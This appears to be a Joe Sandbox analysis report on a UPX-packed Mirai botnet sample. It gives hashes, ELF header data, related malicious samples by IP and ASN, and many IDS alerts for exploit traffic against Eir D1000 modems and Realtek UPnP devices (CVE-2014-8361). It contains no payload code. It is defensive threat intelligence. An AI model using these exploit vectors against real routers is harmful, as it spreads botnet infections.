216.254.75.220	unknown	United States	18566	MEGAPATH5-US	false
44.77.55.203	unknown	United States	7377	UCSDUS	false
187.246.50.99	unknown	Mexico	13999	MegaCableSAdeCVMX	false
109.90.210.44	unknown	Germany	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
117.210.61.187	unknown	India	9829	BSNL-NIBNationalInternetBackboneIN	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
197.193.232.120	telx86.elf	Get hash	malicious	Mirai	Browse
	arm7-20231212-1137.elf	Get hash	malicious	Mirai	Browse
	aPtoscKh6g	Get hash	malicious	Mirai	Browse
24.45.250.75	93dNXMPKdE	Get hash	malicious	Mirai	Browse
181.189.142.200	3EslvuDWav	Get hash	malicious	Mirai	Browse
206.81.117.10	kYg2Ofq3Wi.elf	Get hash	malicious	Unknown	Browse
206.81.117.10	Yoshi.x86-20211110-0350	Get hash	malicious	Mirai	Browse
41.108.48.181	28UlG1fA5p.elf	Get hash	malicious	Mirai	Browse
	oYLfD30ufx.elf	Get hash	malicious	Unknown	Browse
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse
	VAQTp83c4K	Get hash	malicious	Mirai	Browse
	hZRc7G8wdL	Get hash	malicious	Gafgyt Mirai	Browse
101.166.177.1	jyGZ7te93v	Get hash	malicious	Gafgyt, Mirai	Browse
101.166.177.1	Y4hzJDlkPU	Get hash	malicious	Gafgyt, Mirai	Browse
185.56.130.9	Antisocial.arm	Get hash	malicious	Mirai	Browse
197.141.53.62	TCEAHNWlS8.elf	Get hash	malicious	Mirai	Browse
	ZsyYeI01zw.elf	Get hash	malicious	Mirai	Browse
	4p9U9psIw7.elf	Get hash	malicious	Mirai	Browse
	rV8BmDXF5D.elf	Get hash	malicious	Mirai	Browse
	home.x86_64-20220726-0916	Get hash	malicious	Mirai	Browse
	fwADtM9aqo	Get hash	malicious	Mirai	Browse
	5jPR5uqQ7Y	Get hash	malicious	Mirai	Browse
	ODQoSDJ9Fu	Get hash	malicious	Mirai	Browse
	ET42wHpzr3	Get hash	malicious	Mirai	Browse
126.142.188.146	aLgtAkS6Jw.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
POWERVIS-AS-KRLGPOWERCOMMKR	Ns1xkTsDQO.elf	Get hash	malicious	Mirai	Browse	112.156.19.178
	EYhvUxUIsT.elf	Get hash	malicious	Mirai	Browse	112.156.19.170
	2EFEN3j6ml.elf	Get hash	malicious	Unknown	Browse	112.152.192.158
	hCGaMRj2il.elf	Get hash	malicious	Mirai	Browse	124.54.163.205
	SecuriteInfo.com.Linux.Siggen.9999.15399.29417.elf	Get hash	malicious	Mirai	Browse	115.143.254.199
	SecuriteInfo.com.Linux.Siggen.9999.4607.18461.elf	Get hash	malicious	Mirai	Browse	211.112.250.140
	7m7X62tiZr.elf	Get hash	malicious	Mirai	Browse	112.150.5.105
	5DkGWDuyYR.elf	Get hash	malicious	Mirai	Browse	14.7.239.197
	pL7jDJb2G6.elf	Get hash	malicious	Mirai	Browse	182.220.43.44
	YrwQEQwAlQ.elf	Get hash	malicious	Mirai	Browse	116.38.170.8
COMCELGUATEMALASAGT	9wDlG5DeRK.elf	Get hash	malicious	Moobot	Browse	181.189.135.82
	8l3OprbuHf.elf	Get hash	malicious	Unknown	Browse	181.189.142.224
	PuiAhrIQLV.elf	Get hash	malicious	Unknown	Browse	181.189.142.228
	Rakitin.mips.elf	Get hash	malicious	Mirai	Browse	181.189.142.224
	7Xt9IvY2nW.elf	Get hash	malicious	Mirai	Browse	181.189.142.213
	YqnGcYyIFN.elf	Get hash	malicious	Mirai	Browse	181.189.142.216
	4RnVLzm3hm.elf	Get hash	malicious	Mirai	Browse	181.189.142.228
	Rakitin.x86.elf	Get hash	malicious	Mirai	Browse	181.189.142.203
	irq0	Get hash	malicious	Tsunami	Browse	200.49.166.224
	7WUpqmSezR.elf	Get hash	malicious	Mirai	Browse	181.189.142.219
COMCAST-7922US	Ns1xkTsDQO.elf	Get hash	malicious	Mirai	Browse	74.147.223.108
	7t5zI3LtK8.elf	Get hash	malicious	Mirai	Browse	67.160.178.104
	MYb7GhRJl7.elf	Get hash	malicious	Mirai	Browse	73.12.240.54
	wOJU643xno.elf	Get hash	malicious	Mirai	Browse	73.200.38.108
	la.bot.arm7.elf	Get hash	malicious	Mirai	Browse	96.97.186.246
	jklarm.elf	Get hash	malicious	Mirai	Browse	30.85.180.40
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	76.16.64.84
	EYhvUxUIsT.elf	Get hash	malicious	Mirai	Browse	25.201.56.22
	2EFEN3j6ml.elf	Get hash	malicious	Unknown	Browse	96.169.133.114
	PhvvLCLFym.elf	Get hash	malicious	Mirai	Browse	25.78.167.142
NAPANETUS	I9DNQsrT8I.elf	Get hash	malicious	Mirai, Gafgyt	Browse	206.81.117.42
	j5dP128j0u.elf	Get hash	malicious	Mirai	Browse	206.81.117.16
	4RnVLzm3hm.elf	Get hash	malicious	Mirai	Browse	206.81.117.29
	iIOEdFjZ5d.elf	Get hash	malicious	Mirai	Browse	206.81.117.15
	kYg2Ofq3Wi.elf	Get hash	malicious	Unknown	Browse	206.81.117.10
	C6ego4oO3t.elf	Get hash	malicious	Mirai	Browse	206.81.117.32
	l8snOSZ6mT.elf	Get hash	malicious	Mirai, Moobot	Browse	206.81.105.49
	WA5LQ3AIY2.elf	Get hash	malicious	Mirai	Browse	206.81.117.22
	vrfL7uZdan.elf	Get hash	malicious	Mirai	Browse	206.81.117.58
	WUgOsxWvyi.elf	Get hash	malicious	Mirai	Browse	206.81.117.14

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
Entropy (8bit):	7.8944786748904905
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	x86.elf
File size:	34'512 bytes
MD5:	6cc3041b0f9b56c38e92d7634d41cdb8
SHA1:	86c1f27b1e6cb7d79db16ef62a6a9f49d2f4f3c2
SHA256:	81d9234f062dbdcd55de4e2e9a8889fb3af3fd907a21cb149411b0cd42dc24b2
SHA512:	6af74ae0a22f84f3470fa36d51191300c9b09e3de8c416cc27b383018ed3378627ff295a43793307545b8a066fc97aec8a86b08ffa7ab9de4fe80c1bdc91000f
SSDEEP:	768:5zHlw3giGjYfOdJT7E7dfbnhVsP3REYNNaO4tiNN+YQ+yDdR:hlwVGIOTI7tn/svREuNaO4t/22R
TLSH:	2FF2F1AE522CC0FAC5EB67B02358560E9EF2F9963F6CE7134551E2112E011B465B367C
File Content Preview:	.ELF.....................L..4...........4. ............................. I..........................................Q.td..............................EtUPX!.........C..$8......`........?d..ELF.......d...m...4.(B.. .(......m..-.#.$8...........@........}.m

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - Linux
ABI Version:	0
Entry Point Address:	0x8064cd8
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	0
Section Header Size:	0
Number of Section Headers:	0
Header String Table Index:	0

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align
LOAD	0x0	0x8048000	0x8048000	0x1000	0x14920	7.7251	0x6	RW	0x1000
LOAD	0x0	0x805d000	0x805d000	0x85b0	0x85b0	7.8983	0x5	R E	0x1000
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/15/24-08:52:51.205024	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57784	7547	192.168.2.13	99.235.63.108
04/15/24-08:52:52.241544	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34242	7547	192.168.2.13	47.7.35.31
04/15/24-08:52:39.715114	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53866	7547	192.168.2.13	47.203.35.24
04/15/24-08:52:50.960982	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57774	7547	192.168.2.13	99.235.63.108
04/15/24-08:52:49.499829	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55674	7547	192.168.2.13	105.158.31.110
04/15/24-08:52:56.138393	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37412	52869	192.168.2.13	199.208.108.1
04/15/24-08:53:32.145782	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57202	7547	192.168.2.13	118.211.77.66
04/15/24-08:53:42.853914	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46856	7547	192.168.2.13	174.30.17.56
04/15/24-08:53:57.577510	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38812	52869	192.168.2.13	178.135.107.248
04/15/24-08:52:35.798378	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50842	7547	192.168.2.13	99.228.23.31
04/15/24-08:53:46.540752	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40304	7547	192.168.2.13	175.231.31.157
04/15/24-08:52:50.148336	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57424	7547	192.168.2.13	94.19.223.82
04/15/24-08:53:03.079869	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	60260	80	192.168.2.13	23.77.19.215
04/15/24-08:52:53.683510	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	51654	80	192.168.2.13	66.158.192.94
04/15/24-08:52:26.824650	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58458	7547	192.168.2.13	47.202.126.64
04/15/24-08:53:39.883267	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33210	7547	192.168.2.13	75.167.10.129
04/15/24-08:53:21.577112	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55586	7547	192.168.2.13	119.218.187.121
04/15/24-08:53:41.600518	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	46232	80	192.168.2.13	109.228.0.43
04/15/24-08:53:58.369268	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58792	7547	192.168.2.13	221.163.52.251
04/15/24-08:52:12.979653	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48190	7547	192.168.2.13	187.101.231.247
04/15/24-08:53:42.061800	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58076	7547	192.168.2.13	69.146.21.164
04/15/24-08:53:05.327156	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58130	7547	192.168.2.13	168.121.175.155
04/15/24-08:53:15.201357	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	52664	80	192.168.2.13	185.32.243.72
04/15/24-08:53:52.773561	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36478	7547	192.168.2.13	222.116.185.253
04/15/24-08:52:40.654313	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38116	52869	192.168.2.13	164.250.228.64
04/15/24-08:53:04.853977	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39682	7547	192.168.2.13	67.254.135.9
04/15/24-08:53:43.711558	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57532	7547	192.168.2.13	72.174.122.72
04/15/24-08:53:49.475713	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49910	7547	192.168.2.13	183.124.126.76
04/15/24-08:53:00.817017	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45618	7547	192.168.2.13	59.17.129.113
04/15/24-08:53:17.653125	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48588	7547	192.168.2.13	190.34.112.81
04/15/24-08:53:42.734696	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	33402	7547	192.168.2.13	99.237.109.14
04/15/24-08:53:46.931624	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42008	7547	192.168.2.13	94.122.51.36
04/15/24-08:52:23.202827	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	42896	80	192.168.2.13	47.36.49.89
04/15/24-08:52:15.887474	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	37592	80	192.168.2.13	104.89.94.146
04/15/24-08:53:17.262405	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	58746	80	192.168.2.13	27.19.253.176
04/15/24-08:52:49.822242	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57404	7547	192.168.2.13	94.19.223.82
04/15/24-08:53:10.058834	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58058	52869	192.168.2.13	138.137.77.164
04/15/24-08:53:14.158139	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49008	7547	192.168.2.13	183.102.2.117
04/15/24-08:53:08.658038	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59594	7547	192.168.2.13	67.1.126.103
04/15/24-08:53:20.528525	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56806	52869	192.168.2.13	94.121.73.158
04/15/24-08:53:29.574316	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39942	7547	192.168.2.13	71.34.5.73
04/15/24-08:52:14.080492	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44724	7547	192.168.2.13	39.62.213.120
04/15/24-08:53:05.080211	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59492	7547	192.168.2.13	72.228.172.154
04/15/24-08:53:21.813411	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	43136	80	192.168.2.13	23.36.252.194
04/15/24-08:53:37.745675	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41904	7547	192.168.2.13	183.98.165.249
04/15/24-08:52:14.534538	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44754	7547	192.168.2.13	39.62.213.120
04/15/24-08:53:04.841765	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59462	7547	192.168.2.13	72.228.172.154
04/15/24-08:52:26.760288	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	49486	7547	192.168.2.13	222.102.175.140
04/15/24-08:52:28.786011	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	54616	80	192.168.2.13	150.116.154.175
04/15/24-08:53:51.067327	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60802	7547	192.168.2.13	175.203.67.40
04/15/24-08:53:52.846390	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48604	7547	192.168.2.13	83.132.232.71
04/15/24-08:52:13.729800	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50144	7547	192.168.2.13	76.174.225.138
04/15/24-08:52:25.802589	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56864	7547	192.168.2.13	183.221.223.80
04/15/24-08:53:08.107359	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58750	7547	192.168.2.13	183.127.51.150
04/15/24-08:53:21.873706	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55676	7547	192.168.2.13	119.218.187.121
04/15/24-08:53:07.820564	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58740	7547	192.168.2.13	183.127.51.150
04/15/24-08:52:42.734165	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53342	7547	192.168.2.13	99.234.28.251
04/15/24-08:52:56.480509	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55122	7547	192.168.2.13	111.92.62.176
04/15/24-08:53:42.259255	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	54868	7547	192.168.2.13	47.160.36.20
04/15/24-08:52:36.405596	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	57896	80	192.168.2.13	174.129.15.207
04/15/24-08:52:46.025738	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44992	7547	192.168.2.13	213.5.110.7
04/15/24-08:53:56.818103	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57428	7547	192.168.2.13	189.15.71.96
04/15/24-08:53:21.492622	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	35670	80	192.168.2.13	23.64.254.79
04/15/24-08:52:57.437296	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47590	7547	192.168.2.13	203.63.103.182
04/15/24-08:53:35.086726	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	36156	80	192.168.2.13	118.190.246.2
04/15/24-08:53:59.005358	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37304	7547	192.168.2.13	218.108.130.74
04/15/24-08:53:50.068223	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55128	7547	192.168.2.13	175.243.85.101
04/15/24-08:52:55.714739	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54256	52869	192.168.2.13	101.102.220.137
04/15/24-08:53:32.960577	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53410	7547	192.168.2.13	24.177.155.54
04/15/24-08:53:08.538436	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43094	7547	192.168.2.13	2.91.191.209
04/15/24-08:53:48.778068	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	51776	7547	192.168.2.13	192.180.170.154
04/15/24-08:53:32.422688	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55176	52869	192.168.2.13	164.167.226.105
04/15/24-08:53:41.642180	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	48102	80	192.168.2.13	104.96.195.237
04/15/24-08:52:40.654313	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38116	52869	192.168.2.13	164.250.228.64
04/15/24-08:52:13.847512	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53518	7547	192.168.2.13	104.240.53.105
04/15/24-08:53:37.427870	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	45432	7547	192.168.2.13	221.147.219.158
04/15/24-08:53:05.232211	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44886	7547	192.168.2.13	41.10.146.216
04/15/24-08:53:01.966247	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59784	7547	192.168.2.13	188.234.22.65
04/15/24-08:52:57.786092	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46186	7547	192.168.2.13	110.175.37.78
04/15/24-08:53:57.251599	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46502	52869	192.168.2.13	95.14.124.70
04/15/24-08:52:28.647353	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	53242	7547	192.168.2.13	221.147.219.44
04/15/24-08:53:05.094758	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39712	7547	192.168.2.13	67.254.135.9
04/15/24-08:52:46.056188	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40592	52869	192.168.2.13	164.155.149.130
04/15/24-08:53:50.389156	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	40032	80	192.168.2.13	104.96.146.154
04/15/24-08:52:15.747783	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54266	52869	192.168.2.13	164.248.78.18
04/15/24-08:52:56.053759	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55102	7547	192.168.2.13	111.92.62.176
04/15/24-08:52:39.644518	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	33082	80	192.168.2.13	3.224.134.240
04/15/24-08:53:37.851263	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	36692	80	192.168.2.13	154.36.176.48
04/15/24-08:53:07.529103	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	34448	7547	192.168.2.13	37.104.183.34
04/15/24-08:53:02.987725	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	37706	80	192.168.2.13	18.211.165.240
04/15/24-08:52:23.274447	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40658	52869	192.168.2.13	81.199.207.140
04/15/24-08:53:24.590520	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59766	7547	192.168.2.13	1.140.19.46
04/15/24-08:52:54.840185	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	42004	7547	192.168.2.13	191.61.145.209
04/15/24-08:52:49.662276	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50456	7547	192.168.2.13	74.141.209.0
04/15/24-08:52:51.016802	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56632	7547	192.168.2.13	181.4.228.22
04/15/24-08:53:21.440853	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	48360	7547	192.168.2.13	68.105.123.207
04/15/24-08:52:30.968124	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36180	52869	192.168.2.13	94.121.129.98
04/15/24-08:53:32.072183	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60116	7547	192.168.2.13	183.115.182.36
04/15/24-08:53:05.147820	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59972	7547	192.168.2.13	120.198.22.114
04/15/24-08:53:24.201228	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55110	52869	192.168.2.13	203.99.106.59
04/15/24-08:52:59.821986	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56256	52869	192.168.2.13	160.141.82.82
04/15/24-08:53:37.775015	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44980	7547	192.168.2.13	191.61.137.161
04/15/24-08:53:51.462238	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	32900	7547	192.168.2.13	201.94.203.30
04/15/24-08:52:43.885913	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	47538	80	192.168.2.13	18.195.32.239
04/15/24-08:52:13.844925	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	39944	7547	192.168.2.13	119.219.242.166
04/15/24-08:53:00.864826	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	58206	7547	192.168.2.13	43.249.223.181
04/15/24-08:52:34.894999	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56508	7547	192.168.2.13	200.114.231.19
04/15/24-08:52:57.472624	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60628	7547	192.168.2.13	95.31.153.220
04/15/24-08:52:39.978474	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37514	7547	192.168.2.13	71.222.190.222
04/15/24-08:52:58.511855	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	59342	7547	192.168.2.13	2.142.104.24
04/15/24-08:53:11.335452	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52000	7547	192.168.2.13	174.26.220.214
04/15/24-08:53:53.144599	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36064	7547	192.168.2.13	116.206.128.152
04/15/24-08:53:10.417508	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37804	7547	192.168.2.13	181.41.86.210
04/15/24-08:52:55.103662	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	35658	7547	192.168.2.13	190.31.147.68
04/15/24-08:53:33.075996	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46788	7547	192.168.2.13	186.152.8.53
04/15/24-08:53:18.960733	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	55572	7547	192.168.2.13	152.171.203.31
04/15/24-08:53:58.654160	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57328	7547	192.168.2.13	210.113.21.2
04/15/24-08:53:22.562950	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	44874	7547	192.168.2.13	118.52.71.152
04/15/24-08:53:57.016612	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	60926	7547	192.168.2.13	190.33.243.128
04/15/24-08:52:44.768591	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52718	7547	192.168.2.13	99.236.113.223
04/15/24-08:52:45.902685	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	47458	7547	192.168.2.13	190.192.121.245
04/15/24-08:53:30.121156	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57134	7547	192.168.2.13	86.171.141.228
04/15/24-08:52:16.749160	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	40388	7547	192.168.2.13	125.139.105.162
04/15/24-08:53:50.761774	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	52602	80	192.168.2.13	34.49.166.97
04/15/24-08:52:23.281053	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	46754	7547	192.168.2.13	175.249.156.218
04/15/24-08:53:57.193046	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	41254	80	192.168.2.13	54.252.234.138
04/15/24-08:53:56.354493	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	50834	7547	192.168.2.13	220.85.6.102
04/15/24-08:53:21.899229	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	56282	80	192.168.2.13	50.2.189.10
04/15/24-08:52:46.056188	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40592	52869	192.168.2.13	164.155.149.130
04/15/24-08:53:21.499940	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46356	52869	192.168.2.13	109.36.156.187
04/15/24-08:53:47.616362	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42278	52869	192.168.2.13	210.128.101.201
04/15/24-08:52:19.738493	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	52738	7547	192.168.2.13	14.73.239.115
04/15/24-08:53:18.302285	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37446	7547	192.168.2.13	97.70.29.201
04/15/24-08:53:37.810387	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41730	7547	192.168.2.13	191.255.165.175
04/15/24-08:53:50.762349	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	57810	80	192.168.2.13	173.232.186.204
04/15/24-08:53:10.442333	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57810	7547	192.168.2.13	220.120.65.215
04/15/24-08:53:31.732769	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	43628	7547	192.168.2.13	67.251.149.88
04/15/24-08:52:16.171363	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	37612	7547	192.168.2.13	86.189.160.241
04/15/24-08:52:57.727408	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57578	7547	192.168.2.13	39.25.133.124
04/15/24-08:52:44.732336	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56220	7547	192.168.2.13	47.189.46.200
04/15/24-08:52:52.443827	TCP	2025576	ET EXPLOIT HackingTrio UA (Hello, World)	53016	80	192.168.2.13	169.44.61.246
04/15/24-08:52:57.133743	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	56254	7547	192.168.2.13	109.191.199.13
04/15/24-08:52:14.200502	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	57738	7547	192.168.2.13	220.255.233.240
04/15/24-08:52:45.979820	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	36870	7547	192.168.2.13	181.221.55.205
